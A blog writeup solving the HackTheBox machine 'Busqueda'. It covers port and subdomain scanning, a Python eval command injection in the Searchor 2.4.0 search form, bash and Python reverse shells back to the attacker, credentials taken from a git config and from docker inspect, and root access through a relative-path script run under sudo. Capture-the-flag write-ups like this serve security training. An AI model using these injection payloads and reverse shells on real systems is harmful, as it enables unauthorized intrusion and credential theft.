HTB Busqueda - Writeup

16 June, 2023

13 min read

Difficulty: 🟢 EasyOS: LinuxCTF: HackTheBox

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Box Overview

Busqueda HTB Overview Image

Busqueda is a pretty straightforward box. The scan reveals only port 22 (SSH) and port 80 (HTTP). The site has only one functionality which is vulnerable to command injection and let us get a reverse shell as low privilege user. Then, there's a script we can run as sudo, but we need to find a way to see what this script does. Further enumeration reveals a config file inside the source code directory which contains git credentials for a gitea instance. We use this credentials and see we can abuse a script that is being called from a relative path and get a root shell.



First we run nmap to see what ports are open and what versions are running.

## Run a TCP SYN scan on all ports
nmap -p- -sS --min-rate 5000 -vvv --open -n -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( ) at 2023-06-16 17:57 EDT
Initiating SYN Stealth Scan at 17:57
Scanning [65535 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed SYN Stealth Scan at 17:57, 13.24s elapsed (65535 total ports)
Nmap scan report for
Host is up, received user-set (0.067s latency).
Scanned at 2023-06-16 17:57:05 EDT for 13s
Not shown: 65533 closed tcp ports (reset)
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
Raw packets sent: 65800 (2.895MB) | Rcvd: 65800 (2.632MB)

## Detect versions of running services
nmap -sCV -p22,80
Starting Nmap 7.93 ( ) at 2023-06-16 17:57 EDT
Nmap scan report for
Host is up (0.071s latency).

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|\_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|\_http-server-header: Apache/2.4.52 (Ubuntu)
|\_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.85 seconds

We see two ports are open, port 22 (SSH) and port 80 (HTTP). Based on these versions , it's likely the machine is running Ubuntu 22.04 (Jammy Jellyfish). Nmap also detects a domain name searcher.htb, which we can add to our /etc/hosts file.

echo "  searcher.htb" | sudo tee -a /etc/hosts

Subdomain fuzz

Given the domain name, we can try to fuzz subdomains using the wfuzz tool and see if we can find anything interesting. We hide responses with a length of 26 characters so we don't get a lot of false positives.

wfuzz -c -u "http://searcher.htb" -H "Host: FUZZ.searcher.htb" \
-w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hw=26

No results are found.

Note on Gitea subdomain

At first, I was lazy and ran this command with the subdomains-top1million-5000.txt and fierce-hostlist.txt wordlists, but I didn't find anything. Anyway, later when I discovered the gitea instance. I found out that n0kovo_subdomains.txt had a lot more subdomains that I missed.

# Searching for gitea in the wordlists
grep -R "^gitea$" /usr/share/SecLists/Discovery/DNS/ -n

./n0kovo_subdomains.txt:9767:gitea # <--- In line 9767

# Running wfuzz with the n0kovo_subdomains.txt wordlist
wfuzz -c -u "http://searcher.htb" -H "Host: FUZZ.searcher.htb" \
-w /usr/share/SecLists/Discovery/DNS/n0kovo_subdomains.txt --hw=26

* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://searcher.htb/
Total requests: 3000000

ID           Response   Lines    Word       Chars       Payload
000009767:   200        267 L    1181 W     13125 Ch    "gitea"

So always keep in mind to try different wordlists and not just the ones you are used to.


Visiting the website, we see instructions on how to use the search functionality. There are some links but they don't redirect anywhere.

Searcher.htb website

In the footer of the page, we can see the website is running Flask , a Python web framework and the Searchor library with the exact version: 2.4.0.

Searcher.htb website footer

We can confirm it's running Python by looking at the headers.

curl -s http://searcher.htb -I

HTTP/1.1 200 OK
Date: Fri, 16 Jun 2023 22:08:30 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 13519

Shell as svc

Searching for vulnerabilities

Knowing which library is being used, we can search for vulnerabilities in Google. We find Snyk has a vulnerability for this version of the library but not Proof of Concept is provided. We can try to find the vulnerability ourselves.

Searchor library vulnerability

A simple search containing the eval keyword in the Issues tab of the GitHub repository reveals a discussion about replacing the eval function with other safer alternatives.

Searchor library eval discussion

That leads to this commit belonging to a pull request that fixes the vulnerability. We can see how was the eval function being used before the fix.

Searchor library eval commit

Great! It seems that we have an initial vector to exploit the application. We can now see how is the request being made to the server and see if we can inject a command in any of the parameters.

Command injection

After making a basic search, we can use Burp Suite to intercept the request and send it to the repeater to inspect it. We see it's using the query parameter to make the search.

Searcher.htb request in Burp Suite

As we previously saw in the GitHub commit, the eval function is being used to execute the query. So why not try to inject a command? Knowing it's Python, we can search for a python payload and see if it works. We need to keep in mind we need to escape correctly the payload so it doesn't break the application code.

## Searchor library eval function
url = eval(
    f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"

## Our payload would be something like this
payload = ',__import__("os").system("id"))#'

## So that way when the request is made, it would end up like this
url = eval(
    f"Engine.{engine}.search('', __import__("os").system("id"))#, copy_url={copy}, open_web={open})"
    # The `#` in Python means comment, so the rest of the code is ignored

From the code above, we can see we correctly escaped the parameter being passed to the search function as we close it with ', and commented the rest of the code with #. Now, we can inject our payload and see if it works. First I'm gonna try get a hit on my local webserver. I'm gonna encode the command in base64 because there might be special characters ('-', '&', ' ') that may not be correctly escaped.

## Start a webserver to capture the request
python3 -m http.server 8000
Serving HTTP on port 8000 ( ...

## Make the request with the payload
`echo -n 'curl' | base64 -w0`

We modify the request and see if we get a hit on our webserver.

Searcher.htb request with payload

Serving HTTP on port 8000 ( ... - - [16/Jun/2023 19:03:03] "GET / HTTP/1.1" 200 -

Great! We got a hit on our webserver. Now we can modify the payload and try to get a reverse shell. We modify the base64 payload and substitute every + with %2B as it means + in URL encoding so it doesn't break the request.

## Get the reverse shell payload
echo -ne "bash -c 'bash -i >& /dev/tcp/ 0>&1'" | base64 | sed -r 's/[+]+/%2B/g'

## Start a netcat listener
nc -lvnp 9001

Burpsuite searcher RCE

And we got a shell as svc. We can do the stty trick to get a PTY. One my idols 0xdf has a great video explaining this trick.

svc@busqueda:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
svc@busqueda:/var/www/app$ ^Z # Ctrl + Z
[1]  +  Stopped  script /dev/null -c bash

stty raw -echo; fg
[1]  + continued  nc -lnvp 9001
                               reset screen
svc@busqueda:/var/www/app$ export TERM=xterm

And grab the user flag.

svc@busqueda:~$ cat user.txt

Privilege escalation

Git credentials

I will run sudo -l to see if there's any command we can run as sudo.

svc@busqueda:~$ sudo -l
[sudo] password for svc:

It asks for password. Since we got access with a reverse shell, we don't know the password. Time to look in another direction.

Looking at the files in the home directory, we see a .git-credentials file. This file is used to store credentials for Git repositories. Git is a version control system that allows us to keep track of changes in our code. A git repository can be hosted in a remote server such as GitHub or GitLab .

Git is an open-source distributed version control system. It is designed to handle minor to major projects with high speed and efficiency. It is developed to co-ordinate the work among the developers. The version control allows us to track and work together with our team members at the same workspace.

We look at the file but it only reveals the name and the email that are going to be used when making commits. Knowing this, we can search for a git repository. I'll be looking for /var/www/app where the application is running.

svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022
drwxr-xr-x 8 www-data www-data 4096 Jun 17 16:33 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates

We see there's a .git directory. Diving into it, we see there's a config file that contains the credentials for the repository.

svc@busqueda:/var/www/app/.git$ cat config
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

We see hardcoded credentials for the user cody and a gitea instance. I'll add the domain to my /etc/hosts file, but I'll take a look at the Apache configuration file first to see where's this virtual host pointing to.

svc@busqueda:/var/www/app/.git$ cat /etc/apache2/sites-enabled/000-default.conf

<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName gitea.searcher.htb
        ServerAdmin admin@searcher.htb
        ProxyPass /
        ProxyPassReverse /

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

We confirm there was a gitea subdomain that I missed when fuzzing subdomains. Anyway, we now can login as cody with the credentials we found and see if there private repositories or previous commits that may contain sensitive information.

Gitea cody login

We see there's a private repository called Searcher_site and there's another administrator user. The source code in the repository is the same as the one we saw in the machine, so there's nothing interesting there.

Python script

Earlier we tried to run sudo -l but it asked for a password. Now that we have a hardcoded password we can look for password reuse and see if that's the password for the svc user.

svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/ *

Effectively, we can run a python script as root. We can see the script is located in /opt/scripts/ We try to read the file but we don't have permissions, that's because others only have read permissions.

svc@busqueda:~$ ls -la /opt/scripts/
total 28
drwxr-xr-x 3 root root 4096 Dec 24 18:23 .
drwxr-xr-x 4 root root 4096 Mar  1 10:46 ..
-rwx--x--x 1 root root  586 Dec 24 21:23
-rwx--x--x 1 root root  857 Dec 24 21:23
drwxr-x--- 8 root root 4096 Apr  3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24 21:23
-rwx--x--x 1 root root 1903 Dec 24 21:23

Let's run the script and see what it does.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ test
Usage: /opt/scripts/ <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

The scripts have different actions we can run. This is something related to Docker . Docker is a tool that allows us to run applications in containers. A container is a lightweight, standalone, executable package of software that includes everything needed to run an application: code, runtime, system tools, system libraries and settings. The official page has a great explanation .

Running docker-ps as it description says, lists the running containers.

CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   5 months ago   Up 3 hours>3000/tcp,>22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   5 months ago   Up 3 hours>3306/tcp, 33060/tcp               mysql_db

We see two containers, one running gitea and another running mysql. There's also an option in the script to inspect a container. Now let's run docker-inspect to see what it does.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ docker-inspect gitea
Usage: /opt/scripts/ docker-inspect <format> <container_name>

It asks for a format and a container name. To learn more about this command, we can look at the official documentation . We can see there's a --format flag that allows us to specify the format of the output. I'm going to use one of their examples and print the output in json format. We can pipe it into jq to make it more readable.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ docker-inspect \
'{{json .Config}}' gitea | jq .

  "Env": [

We see some environment variables, the most interesting one is GITEA__database__PASSWD as it contains a hardcoded password. We can do the same with the mysql_db container and we will end up with the following combinations:

  • root:jI86kGUuj87guWr3RyF
  • gitea:yuiu1hoiu4i5ho1uh

Root shell

We can try to login as root with the password we found. We can use su to switch users.

svc@busqueda:~$ su root
su: Authentication failure

None of the passwords work. We had a administrator user in the gitea instance. We can try to login as administrator with the passwords we found and effectively we gained access.

Gitea administrator repo

We see there are the same scripts we saw in the machine at /opt/scripts. We can inspect the script and see what it does. The script is pretty straightforward, it takes an action, and based on the action it runs a function that executes a command. There's one interesting:

elif action == 'full-checkup':
        arg_list = ['./'] # <--- Interesting line
        print('[+] Done!')
        print('Something went wrong')

It's using a relative path to execute a script. We can abuse this and create a script with the same name in a writable directory and get a root shell. At first, I did fail at this because I was trying to run a shell script as the extension ends in .sh. It turns out the script is running with python3 so we need to create a python script. I'm dumb sometimes.

We save the file and make it executable. We start a netcat listener in our machine and run the script to see if we get a root shell.

svc@busqueda:/tmp$ cat <<EOF >
> #!/usr/bin/python3
> import socket, os, pty;
> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
> s.connect(("", 9003));
> os.dup2(s.fileno(),0);
> os.dup2(s.fileno(),1);
> os.dup2(s.fileno(),2);
> pty.spawn("/bin/bash")

svc@busqueda:/tmp$ chmod +x

## In our machine
nc -lvnp 9003

And we got a root shell.

svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/ full-checkup

## In our machine
nc -lnvp 9003
listening on [any] 9003 ...
connect to [] from (UNKNOWN) [] 42706

And we can grab the root flag.

root@busqueda:~# cat root.txt

Automated tools

I wrote a small shell script to automate the process of getting a reverse shell as svc user. It uses the same payload we used in Burp Suite. You can download it and run it.

© 2023 Anthony Acosta | Based on Carlos Azaustre | Made with 🖥️ and 💜